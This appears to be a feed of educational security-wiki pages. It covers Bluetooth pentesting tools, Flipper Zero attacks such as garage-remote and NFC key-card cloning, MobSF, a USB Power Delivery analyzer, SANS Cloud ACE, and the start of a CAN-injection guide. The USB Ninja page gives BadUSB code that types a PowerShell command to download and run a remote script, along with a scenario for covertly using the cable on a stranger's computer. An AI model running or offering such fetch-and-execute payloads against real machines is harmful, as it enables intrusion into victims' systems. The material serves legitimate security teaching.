[[Category:Pentesting]]

Bluetooth Pentesting Tools (HW/SW)

2024-03-12T18:24:20Z

Ikramer:

== Summary ==

This article describes various tools for bluetooth penetration testing and aims to provide an overview to choose the right tool for a use case.

== Requirements ==

* Operating system: Kali Linux amd64 2019.2
* Packages: Individual shown for each tool

In order to use hardware pentesting devices a dedicated installation of kali linux is recommended but it is also possible to use hypervisors which are capable of passing USB devices from the host- to the guestsystem e.g. VMWare Workstation or the free hypervisor VirtualBox.

== Information gathering ==

The offical linux bluetooth protocol stack BlueZ is already installed on kali linux but can be installed on other linux maschines with:

apt install -y bluez bluez-utils
systemctl start bluetooth.service
systemctl status bluetooth.service

[[File:Bluetoothservice.PNG]]

=== hcitool ===

To start with penetration testing we need to gather information about our environment, for this purpose scan for available bluetooth devices with the included packages 'hcitool' or 'bluetoothctl'.

First check if your bluetooth device is available:

hciconfig

[[File:Hciconfig.PNG]]

Scan for BR/EDR Bluetooth devices with hcitool:

hcitool scan

[[File:Scanbr.PNG]]

In order to scan for BLE devices use:

hcitool lescan

=== bluetoothctl ===

Alternatively you can use bluetoothctl which is also included in the bluez-utils package:

[[File:Btctl.PNG]]

=== bettercap ===

This Software is described in the [[Bettercap]] Documentation.

=== bluelog ===

Another great tool for bluetooth device discovery is 'bluelog'. It is extremly lightweight and can be automated for background usage without user intervention. Bluelog is already preinstalled on kali linux but can be installed with:

apt install -y bluelog

To start scanning for bluetooth devices use:

bluelog -nmtc

(n=log device names;m=log manufacturer;t=log timestamps of discovery;c=log device class)

[[File:Bluelog.PNG]]

== Capturing bluetooth traffic ==

=== btmon ===

With the preinstalled package 'btmon' it is possible to capture traffic between the HCI and the controller:

btmon --write ~/Documents/bttraffic.snoop

These files can be viewed and analysed with 'Wireshark' which is also preinstalled on kali linux.

=== Wireshark ===

Alternatively you can capture bluetooth traffic directly with Wireshark. Start Wireshark with...

wireshark -w ~/Documents/bttraffic.snoop

...and select your bluetooth interface e.g. bluetooth0 or bluetooth1.

[[File:Wiresharkhciscan.PNG]]

== Bluetooth Pentesting Software ==

In the following chapter we will present some software pentesting tools which are used for ethical bluetooth device hacking.

=== BlueMaho ===

BlueMaho is a tool suite for bluetooth device pentesting and provides various exploits. It is written in python and uses wxPython. The feature set includes: scanning, tracking, alerts on new devices or targeted devices, sending files or changing BT values like the BD_ADDR.

Although it is still listed in the kali linux tool list, it has to be manually installed:

apt install autoconf build-essential build-dep git python-wxtools
git clone https://github.com/zenware/bluemaho
cd bluemaho/config
./build.sh

In order to run the GUI use:

./bluemaho.py

[[File:Bluemaho.PNG]]

=== GATT Tool ===

Before you can start using the GATT Tool you need to know the Bluetooth Address of the victim device. For gathering this information you can use the hcitool, which is described above.

The GATT Tool has a powerful interactive mode. During this mode the devices stay connected and you can use more than one handle sequentially.

sudo gatttool -I <Bluetooth interface> -b <BD_ADDR>
connect

To get the name of your Bluetooth interfaces use hciconfig, which is described above.

The Interactive mode also allows to list the characteristics of the connected device and control them.

characteristics

Depending on the Privileges you can Read, Write characteristics of the device.

Read:
char-read-hnd <handle>

Write:
char-write-req <handle> <write value>
or
char-write-cmd <handle> <write value>

The Privileges are described in the following graph

[[File:CharacterProperties.png| 600px]]

An example of an guided exploit can be found at the [[Mipow Playbulb: Bluetooth Connection Sniffing]] documentation

=== Bluepot ===

Bluepot is a Bluetooth Honeypot written in Java, it is designed to accept and store any malware sent to it and interact with common Bluetooth attacks. The system also allows monitoring of attacks via a graphical user interface that provides graphs, lists, a dashboard and further detailed analysis from log files.

In order to install bluepot use following commands:

wget https://github.com/andrewmichaelsmith/bluepot/raw/master/bin/bluepot-0.1.tar.gz
tar xfz bluepot-0.1.tar.gz
java -jar bluepot/BluePot-0.1.jar

[[File:Bluepot.PNG]]

=== spooftooph ===

Spooftooph is designed to automate spoofing or cloning Bluetooth device information. The software is able to clone and log bluetooth devices, generate or change new random bluetooth profiles and specify device information for bluetooth interfaces.

E.g.: Spoof your own device address for the interface hci0:

[[File:Btspoofbdaddr.PNG]]

== Bluetooth Pentesting Hardware ==

For hardware pentesting devices like the Ubertooth one please see following documentations:

* [[Bluetooth_Sniffing_with_Ubertooth:_A_Step-by-step_guide]]
* [[Bluetooth_Hacking_Ubertooth]]

== References ==

* https://tools.kali.org
* https://www.offensive-security.com/
* https://www.kali.org
* https://github.com/andrewmichaelsmith/bluepot
* https://github.com/zenware/bluemaho

[[Category:Documentation]]
[[Category:Pentesting]]

Flipper Zero

2024-03-12T18:23:32Z

Ikramer:

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
With the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* Audio Players
* Projectors
* Air Conditioners

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
There are various modules that can be added to the Flipper Zero using the 18 GPIO Pins on top of the device. An example for this would be a WiFi module to enable the Flipper Zero to connect to a nearby WiFi network. It is also possible to create your own projects with the GPIO pins. An example project would be the [https://www.thedrive.com/news/hacker-uncovers-how-to-turn-traffic-lights-green-with-flipper-zero Traffic-Controller], where special LEDs were attached to the Flipper Zero, which, when flashed at around 14 Hertz, cause traffic lights to turn green, as they are made to believe that an ambulance is approaching them.

[[File:Flipper_GPIO.png|400px||GPIO Pin layout]]

Detailed information about the pins can be found on the [https://docs.flipperzero.one/gpio-and-modules Flipper Zero GPIO documentation website].

=== iButton ===
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems, some are also used for temperature and humidity measurements. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.

In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a [https://wiki.elvis.science/index.php?title=Hak5_Rubber_Ducky Rubber Ducky], it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

=== Applications ===

Applications are for a more special use of the Flipper Hardware for example to fetch and decode the signal from a weather station or use the PicoPass NFC protocol.
Another example would be the Bluetooth remote, which can control devices using the Bluetooth standard.
Furthermore, there is also a pre-installed game on the device, namely Snake.

== References ==
* https://docs.flipperzero.one/

[[Category:Documentation]]

[[Category:Pentesting]]

Mobile-Security-Framework-MobSF

2024-03-12T18:20:23Z

Ikramer:

[[File:MobSF Logo.png|450px|thumb|right|Mobile-Security-Framework]]
== Summary ==
Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. The Dynamic Analyzer helps you to perform runtime security assessment and interactive instrumented testing.

== Requirements ==

* Follow the [[Install Mobile-Security-Framework-MobSF]] guide for static analysis.

* Optional: Follow the [[Install Genymotion]] guide for dynamic analysis.

== Description ==

=== Step 1: Open the Webpage ===

http://localhost:8000

[[File:MobSF_startpage.PNG|1200px]]

=== Step 2: Upload Mobile Application ===
Select the upload button. This could take a while, because MobSF will decompile the apk and analyze all the files and dependencies.

=== Step 3: Static Analysis ===
During the static analysis of APKs MobSF collects information performing different tests using several tools, some of the tests are interactive and customizable:After uploading our Mobile Application the report will be generated and we can see the resulting information.

On the starting page we can see a general overview about the results:
[[File:modsf_Static_1.png|1200px]]
* '''Scan Options:''' defines specific scan options by supression rules
* '''Decompiled Code:''' decompiles to java readable source code or smali code and provides a search in code functionality
* '''Playstore information:''' retrieves some information about usage of the app
* '''Signer Certificate:''' verifies the certificate fields and the signature of the APK file
* '''Application Permissions:''' extracts and evaluates the application permissions fromthe manifest and identifies used dangerous permission of access to phone resources
* '''Android API:''' this listing shows the usage of the Android API giving direct access to the code of the decompiled java files.
* '''Browsable Activities:''' shows activities which provide an intent to the browser and shows the enabled schemes of the intent (https or/and http) and the host domain name.
* '''Security Analysis:''' this section provides the results with risk rating using a scoring of the severity of the findings in high, warning and a reasonable description of the issues.
** Network Security
** Certificate Analysis
** Manifest Analysis: enables the tester to set a supression rule to exclude an issue from the scoring
** '''Code Analysis:''' A detailed list of the findings in the java files with the associated vulnerabilities of the Common Weakness Enumeration (CWE), OWASP Top 10 and OWASP Mobile Application Security Verification Standard 8(OWASP MASVS) It also provides a severity rating of info, warning, high and secure, the latter takes security easurements such as SSL pinning, root detection or code obfuscation into account. Code Analysis enables the tester to set a supression rule to exclude an issue from the scoring.
** '''Binary Analysis:''' if the binaries are included in the APK file, in case of split APKs the analysis has to be done for each file
** '''NIAP Analysis:''' a National Information Assurance Partnership (NIAP) analysis v1.3 is conducted, the tested requirements are definded in the Protection Profile for Application Software Version 1.3, which provides also a security evaluation summary.
** '''File Analysis:'''
* '''Malware Analysis'''
** '''APKiD Analysis:''' APKiD gives information about how an APK was made. It identifies many compilers, packers, obfuscators, and other weird stuff
** '''Quark Analysis:''' Quark Script APIs enable exchange of valuable intelligence to analyze or pentest the targets
** '''Server Locations:''' Shows a map where the app connects to.
** '''Domain Malware Check:''' examines all domains included in the APK file for malware delivery from known domains, also the geolocations of the domains are listed
* '''Reconnaissance:'''
** '''URLs:''' Shows all URLs found in the APK associated with the decompiled JAVA file
** '''Firebase DB:''' the endpoint of an integrated Firebase database is shown. Firebase is a NoSql cloud database, which enables storing and syncing data in real-time to mobile and web clients
** '''Emails:''' Shows identified Email addresses in the APK
** '''Trackers:''' Shows identified embedded trackers based on the 428 known trackers from Exodus database.
** '''Strings:''' Prints out all connected series of readable chars longer than minimum of 6 chars
** '''Hardcoded Secrets:''' Lists possible hardcoded secrets of the APK
* '''Components:''' Lists all Activities, Services, Receivers, Providers, Libraries and Files found in the APK

If MobSF finds CWE's during the code analysis, the results will be shown like this:
[[File:modsf_Static_2.png|1200px]]

MobSF also gives the user the opportunity to compare different apks if deployed native.
[[File:modsf_Static_3.png|1200px]]

[[File:modsf_Static_4.png|1200px]]

[[File:modsf_Static_5.png|1200px]]

=== Optional Step 4: Dynamic Analysis ===
If the dynamic analysis is started, a emulation of the app will be started and it is possible to monitor the behaviour and possibly load some Java scripts.
[[File:modsf_Dynamic_1.png|1200px]]

[[File:modsf_Dynamic_2.png|1200px]]

[[File:modsf_Dynamic_3.png|1200px]]

[[File:modsf_Dynamic_4.png|1200px]]

== Courses ==

* Sichere Softwareentwicklung (IT-Security 22/23)

== References ==

[[Category:Documentation]]

Mobile-Security-Framework-MobSF

2024-03-12T17:58:35Z

Ikramer:

USB Power Delivery Analyzer - Test

2024-03-12T17:57:28Z

Ikramer:

[[File:Power_Delivery_Analyzer.PNG|600px|thumb|right|USB Power Delivery Analyzer]]

== Summary ==

The Total Phase USB Power Delivery Analyzer is a small adapter for recording the Power Delivery protocol traffic on the USB Type-C connector. It connects in-line between two Type-C products, and passively captures all communication between them, on both the CC1 and CC2 signals. While connected, it does not disturb any USB 3.1 Gen 2 or USB 2.0 signals, enabling capture of PD negotiation for power, USB data roles, and DisplayPort, or other Type-C Alternate Modes.

== In-Line Capture ==

[[File:Power_Delivery_Analyzer_in_Line_Capture.PNG|300px|thumb|right|USB Power Delivery Analyzer - In Line capture]]

* Capture Power Delivery Traffic on CC1 / CC2
* Pass-through all other signals
* Measure VBUS / VCONN

== Requirements ==

* USB Power Delivery Analyzer with a Micro USB to USB type-A cable.
* Data Center Software (Download: [https://www.totalphase.com/products/data-center/?___ here]) - to download it from the Totalphase website you will need to create an account. This is not bind with any subscription or cast factor. No installation is needed.
* When using Windows or Linux, you will need appropriate drivers.
** Windows ([https://www.totalphase.com/products/usb-drivers-windows/ here])
** Linux ([https://www.totalphase.com/products/usb-drivers-linux/ here])
** MacOS does not require any driver.
* An analysis host computer, which runs the Data Center Software.
* A USB type-C product of which you want to measure the power delivery protocol traffic.

== Description ==

Once the Data Center Software is opened, take the Micro USB to USB type A cable, and plug in the Micro USB connector into the analyzer. The other end (USB type A) has to be plugged in into the analysis PC on which the Data Center Software is running. When this is done, we can connect to the analyzer by clicking on “analyzer” and then “Connect to analyzer” in the Data Center Software:

[[File:Connecting to Analyzer.PNG|500px|thumb|none|]]

In the software then start the capture by pressing the “play”-button at the top of the window. A blue light will now appear on the USB Power Delivery Analyzer signifying that the trace is in progress.

The USB Power Delivery Analyzer can then be plugged in into the USB type-C product, which is in this case an iPad. Into the USB type-C port we plug in the charging cable of the iPad. We then insert the connector of the charging cable into the power outlet normally.

As soon as the charging cable was plugged into the analyzer, the analyzer illuminates green or red depending on whether CC1 or CC2 is used to signify the power deliver negotiation is in process.

=== Hands-On ===

Now we can see the traffic displayed in real time. In the following screenshot we can see,

&emsp;1. The handshake between the source and target from start to finish

&emsp;2. The USB Power Delivery specification under the Spec column

&emsp;3. The capture also includes information to CC1 and CC2 lines as represented by a 1 and 2 under the CC column.

&emsp;4. Additionally, we can see the PD data captured under the data column.

[[File:Power Delivery Analyzer Capture 1.PNG|500px|thumb|none|]]

Also included in this trace is an active current and voltage monitor. This graph displays the current and voltage on VBUS and VCONN as well as the voltage of CC1 and CC2 lines as captured by the analyzer.

[[File:Power Delivery Analyzer Capture 2.PNG|500px|thumb|none|]]

This offers a convenient way to correlate data traffic with events in the power lines. When a data point is selected on the graph, the corresponding data transaction is selected. We can also select the PS Ready data transaction to see the corresponding adjustment in current and voltage on the graph.

If there is a for example a voltage increase, we can also see the handshake for the new voltage again. There should be a sink request for the new voltage and the source accept and PS ready.

The Data Center Software is able to capture any changes to the power reading and all data transactions in real time, allowing developers to see exactly what is happening on the bus.

In the Navigator pane, you are also able to filter for and against specific data or errors for greater insight into the specifics of the USB Power Delivery trace.

[[File:Power Delivery Analyzer Capture 3.PNG|500px|thumb|none|]]

As you look at the transaction window and click on a particular transaction, automatically you will see the power window updated. This applies to the Block View and all other widgets are displayed.
The Block View shows a just simpler, more colourful view of the information.

[[File:Power Delivery Analyzer Capture 4.PNG|500px|thumb|none|]]

This is a quick and easy plug-and-play tool, which makes it an ideal solution for anyone looking for greater insights into the complex nature of USB Power Delivery.

== References ==

* https://www.totalphase.com

[[Category:Documentation]]
[[Category:Pentesting]]

USB Ninja: Exploit example

2024-03-12T17:55:06Z

Ikramer:

[[File:USBNinja.png|500px|thumb|right|USB Ninja Set]]

== Summary ==

The USBNinja cable is a product that combines BadUSB capability with Bluetooth in one cable. The components are installed so skillfully that no additional functions can be seen or noted on the cable. It can be controlled with a smartphone via Bluetooth and carry out BadUSB attacks.
A detailed Wiki-Elvis documentation for installation can be found [https://wiki.elvis.science/index.php?title=USB_Ninja here].

== Potential Scenario ==

The attacker goes to a cafe and asks someone there with a computer to charge his cell phone on his computer.
The attacker can now engage the victim in a conversation in order to execute the malicious code unnoticed through the remote connection. And the attack is completed in a few seconds.

== Requirements ==

* Arduino IDE + Drivers
* Bluetooth-Device
** Android Application
** Remote Bluetooth shield

== Description ==

We will not deal with the Remote Bluetooth shield here. Instead of this we take a simple Android smartphone and install it. A more detailed documentation can be found [https://wiki.elvis.science/index.php?title=USB_Ninja here].

When the program has been checked for syntax errors in the Arduino IDE and is ready to be uploaded, we need to put the cable into programming mode. To activate the programming mode, the supplied magnet must be held against the rear end of the connector (USB Type A). Only then can the connection to the computer be established. When pressing the compile button in the Arduino IDE, a message appears that the upload is in progress:

[[File:Arduino IDE message 1.png|500px|thumb|none|]]

When plugging in the cable with the magnet holding, we should see the upload:

[[File:Arduino IDE message 2.png|500px|thumb|none|]]

''' Important information: '''
In my case it was important that no other USB device was plugged into the computer, because the USBNinja cable is otherwise not recognized.

After that, the cable can be connected to the target host (without magnets). Depending on the programming, the code is triggered immediately after connection or when the remote connection button is pressed.

=== Exploit A (Change Background) ===

''' Code (Arduino IDE): '''
<pre>

#define LAYOUT_GERMAN
#include <NinjaKeyboard.h>

void setup() {
SetRunOnce(PAYLOADA,true);
SetRunOnce(PAYLOADB,true);
}

void loop() {}

void payloadA() {

USBninjaOnline();

NinjaKeyboard.begin();
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(0);
NinjaKeyboard.delay(100);
NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.println(F("powershell \" [System.Net.ServicePointManager]::SecurityProtocol = 3072 -bor 768 -bor 192 -bor 48; iwr https://www.lostserver.com/static/pony.ps -UseBasicParsing | iex\""));
NinjaKeyboard.end();

USBninjaOffline();

NinjaKeyboard.begin();
}
</pre>

''' Description '''

When executing payload, background on the victim host will change and the image we downloaded is set.

You can watch the video of using this script:
https://www.youtube.com/watch?v=L90VGpqBa7M

''' PayloadA: '''

Once you press button A, the following happens:
* Executing PowerShell to execute pony.ps script remotely from 'https://www.lostserver.com/static/pony.ps'
* The PowerShell script pony.ps downloads pony.jpg image from 'https://www.lostserver.com/static/pony.jpg' then store it in a temp file.
* Then change the background to the pony.jpg picture.

''' Execution (on Android Device): '''

Again, you can find detailed instructions of the installation at the above mentioned link.

[[File:Connecting_to_USBNinja.png|400px|thumb|none|Connecting to USBNinja via Android Device]]

We can then select which payload we want to execute:

[[File:Execute_Payload_USBNinja.png|400px|thumb|none|Execute Payload via Android Device]]

''' Important information: '''
Don’t forget to allow the application on the smartphone to use your current location. Without, it will not find your Ninja-cable.

=== Exploit B (MaliciousTestFile) ===

''' Code (Arduino IDE): '''

<pre>

void payloadB() {

USBninjaOnline();

NinjaKeyboard.begin();
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(0);
NinjaKeyboard.delay(100);
NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.println(F("cmd.exe /C curl https://www.eicar.org/download-anti-malware-testfile/eicar.com -O eicar.com"));
NinjaKeyboard.delay(100);
NinjaKeyboard.end();

USBninjaOffline();

NinjaKeyboard.begin();
}

</pre>

''' Description '''

The program code places an Eicar file on the host. An EICAR Standard Anti-Malware Test file is a special 'dummy' file which is used to test the correct operation of malware detection scanners. When an EICAR test file is downloaded or scanned, ideally the scanner will detect it exactly as if it were a malicious program.

The program code was adapted a little by me. The "curl" command is used here to download the Eicar file. "-O" tells us the output.

''' PayloadB: '''

Once you press button B, the following happens:

* Executing “curl” command to download the malicious test file
* The malicious file is going to be saved in the path where the shell was opened.

Execution was shown in example above.

''' More examples: '''
* You can find some examples in the Arduino IDE under File – Examples – Examples for USBNinja
* https://github.com/KINGSABRI/USBNinjaPayloads - which I used
* There are a lot of Github repositories with Code-Examples

== References ==

* https://usbninja.com/
* https://scheible.it/usbninja-kabel/
* https://github.com/KINGSABRI/USBNinjaPayloads/tree/master/NinjaKeyboard/ChangeBgrndRunMalware
* https://www.youtube.com/watch?v=L90VGpqBa7M

[[Category:Documentation]]

[[Category:Pentesting]]

Sans Cloud ACE

2024-03-12T17:53:19Z

Ikramer:

== Summary ==

SANS Cloud ACE is an initiative that offers a variety of training and courses to educate and further train cloud security experts. According to the SANS Institute, the ongoing transition and increased use of cloud services by companies is leading to a significant increase in the need for cloud security specific professionals, for whose training the institute’s initiative should help. <ref> https://www.sans.org/cloud-security/ace/ </ref>

== SANS Institute ==

SANS is a leading institution for education and training in the field of IT security. The acronym SANS stands for SysAdmin, Audit, Network and Security.<ref> https://www.wikiwand.com/en/The_Escal_Institute_of_Advanced_Technologies</ref> The organization was founded in 1989 and is the world’s largest source of IT security training and certification according to its own claims. <ref>https://sans.org</ref> <br />
SANS offers various methods to deliver the course content for every required level, including degree programs, certificates, and training. Some of the subfields include “Digital Forensics and Incident Response”, “Cyber Defense and Blue Team Operations”, and “Cloud Security”. These courses are led by experienced industry experts. Training events in various cities are also part of the SANS offerings. A dedicated blog, newsletter, and podcasts provide the opportunity to stay up-to-date on the latest security topics. <ref>https://sans.org</ref> <br />
Depending on the specific subfield of IT security, SANS offers various programs in the form of a series of online courses for in-depth knowledge. One of these programs is SANS Cloud ACE. <ref>https://sans.org</ref>

== Topics and Contents ==

Participation in the SANS Cloud ACE Program is chargeable, and therefore not all learning content is freely accessible. However, there is a variety of videos of recorded workshops available on YouTube. These workshops usually last between 20 minutes and an hour and cover various topics related to cloud security. The workshops are designed in a practical way. They do not focus on a specific security risk in the field of cloud computing, but rather on the handling of one of the three cloud security providers, Amazon Web Services, Google Cloud, and Microsoft Azure. In general, the content focuses more on general precautions and misconfigurations of the three most famous cloud service providers. <ref> https://www.youtube.com/@SANSCloudSecurity </ref> <br />
The speakers are security specialists who are supposed to pass on the knowledge they have acquired through their previous professional experience to the participants. Their workshops are often held online so that people from all over the world can participate regardless of their location. Generally, the presentation always consists of a series of slides summarizing the core elements of the course content. Another characteristic is that many workshops not only convey theory but also practical exercises for the participants so that they can apply what they have learned and consolidate their knowledge. Slack is often used as a messenger service for asking questions during the workshop. The speakers are cooperative and apparently motivated to answer participants’ questions. <ref> https://www.youtube.com/@SANSCloudSecurity </ref> <br />
Outside of the workshops, SANS also offers podcasts and blogs on cloud security for interested parties, where you can follow regular updates on the latest developments in cloud security. <ref> https://www.sans.org/cloud-security/ace/ </ref> <br />

== Concepts ==

Currently, there are ten courses available for SANS Cloud ACE that are specifically designed for cloud security. These courses are listed in orange on the Flight Plan image below and are organized from basic knowledge (top) to more specific and in-depth topics (bottom). The courses are classified from basic knowledge to management on the left side of the names, and icons of different types of aircraft underline the top-to-bottom classification. This metaphorically represents that as a SANS Cloud ACE, you start as a pilot with a small plane and switch to larger planes, symbolizing an expanded knowledge of cloud security by completing more courses. The five columns to the right of the courses in the graph represent the five career orientations covered by the program. The gray circles at the intersections between the work areas and the courses indicate whether the course in the corresponding row is suitable for people in this field or individuals who wish to further their education in this area.

[[File:Cloud-Flight-Plan.jpg|500px]]

Some courses include a signature in the graph, each of which refers to a specific GIAC certification. GIAC stands for ‘Global Information Assurance Certification’<ref> https://www.giac.org/about/company-info/?msc=main-nav </ref> and offers the opportunity to obtain certification after completing the corresponding training. This allows course participants to demonstrate their knowledge and acquire a document with which they can prove their newly acquired knowledge to themselves and their employer. <ref> https://www.giac.org/about/company-info/?msc=main-nav </ref>

== Gaining an ACE status ==

As the name implies, participants in the SANS Cloud ACE program have the opportunity to become a ‘Cloud ACE’. As shown in the Flight Plan, the program is divided into five more specific job categories:
* Cloud Security Analyst: Use of cloud security solutions for defense and attack detection
* Cloud Security Architect: Designing cloud security solutions
* Cloud Security Engineer: Developing solutions for cloud security
* Dev Sec Ops: Developing, implementing, and managing secure systems
* Cloud Detection and Response: Detecting threats by monitoring and testing cloud environments
Participants in the program choose one of the five specializations according to their own job or interests. For each category, there is a journey that must be completed to obtain the title of that journey. Each journey includes three courses, selected according to the topic of the field of work. However, to be designated as a SANS Cloud ACE, one can also take only one course and obtain the corresponding GIAC certification. The target groups are people with previous knowledge in the field of IT and cloud security, but also career changers with the desire to further their education, as the program offers introductory courses on the topic. <ref> https://www.sans.org/cloud-security/ace/ </ref>

==References==
<references />

[[Category:Documentation]]

STM32F407VG CAN

2024-03-12T17:52:34Z

Ikramer:

== Summary ==
This document shall provide the reader with a concise overview of how to access, read, and inject messages into an existing CAN system. In this process, an MCP 2515 CAN Controller is utilized in conjunction with an STM32F407G-DISC1 Microcontroller. It is noteworthy that any microcontroller with SPI capabilities can be used for this purpose.

== Devices ==
=== MCP 2515 ===
The MCP2515 serves as a dedicated Controller Area Network (CAN) controller with key features tailored for efficient CAN bus communication. Employing the CAN 2.0B protocol, this chip is equipped with a Serial Peripheral Interface (SPI) for seamless interaction with a variety of microcontrollers, including the STM32F407G-DISC1 highlighted in this document. With multiple transmit and receive buffers, the MCP2515 facilitates the storage and manipulation of CAN messages, optimizing data flow within the CAN network. Its flexibility extends to bit rate configuration, accommodating diverse network speeds. Furthermore, the MCP2515 incorporates filtering and masking capabilities, allowing selective message reception based on identifiers. This targeted reception, coupled with error detection and handling mechanisms, enhances overall reliability in CAN communication. It is noteworthy that the MCP2515 is designed to work with any microcontroller boasting SPI capabilities, providing versatility in its application across different hardware setups.

=== STM32F407G-DISC1 ===
